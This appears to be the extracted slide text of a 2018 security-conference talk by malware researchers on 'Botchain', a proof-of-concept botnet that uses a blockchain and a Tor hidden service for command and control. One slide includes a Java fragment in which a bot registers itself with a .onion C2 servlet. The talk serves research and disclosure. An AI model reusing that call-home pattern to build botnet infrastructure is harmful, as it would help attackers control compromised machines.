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BOTCHAIN aka The Dark side of Blockchain


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presentation by Pirozzi and Paganini at EU Cyber Threat Conference 2018 in Dublin

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BOTCHAIN aka The Dark side of Blockchain

  1. 1. Ing. Antonio Pirozzi Director of Z-Lab at Cybaze SpA EU Cyber Summit The HELIX – Dublin Oct. 24th 2018 Ing. Pierluigi Paganini CTO at Cybaze SpA
  2. 2. • Z-Lab – The malware lab of Cybaze SpA • Core Team Luigi Martire, Malware Analyst Antonio Farina, Malware Analyst Antonio Pirozzi, Director Davide Testa, Malware Analyst
  3. 3. Smart contract Healthcare Insurance Supply Chain Tracking Payments and money transfer Shipping Identity Management
  4. 4. Server Ledger Tor hidden service ( like Skynet botnet 2012 ) public void run() { try { URL url = new URL("http://sucza4jos42jrxcv.onion/ServerBotChain/WriteBotServlet?address ="+address)
  5. 5. Server Ledger
  6. 6. The fastest and cheapest transaction fee is currently 6 Satoshi/byte For the median transaction size of 225 bytes, this results in a fee of 1.350 1350 Satoshi = USD $0.0841661550
  7. 7. The Disassembler The Assembler Design of a blockchain-resident composition malware: a proof of concept. Visaggio, Pirozzi 2017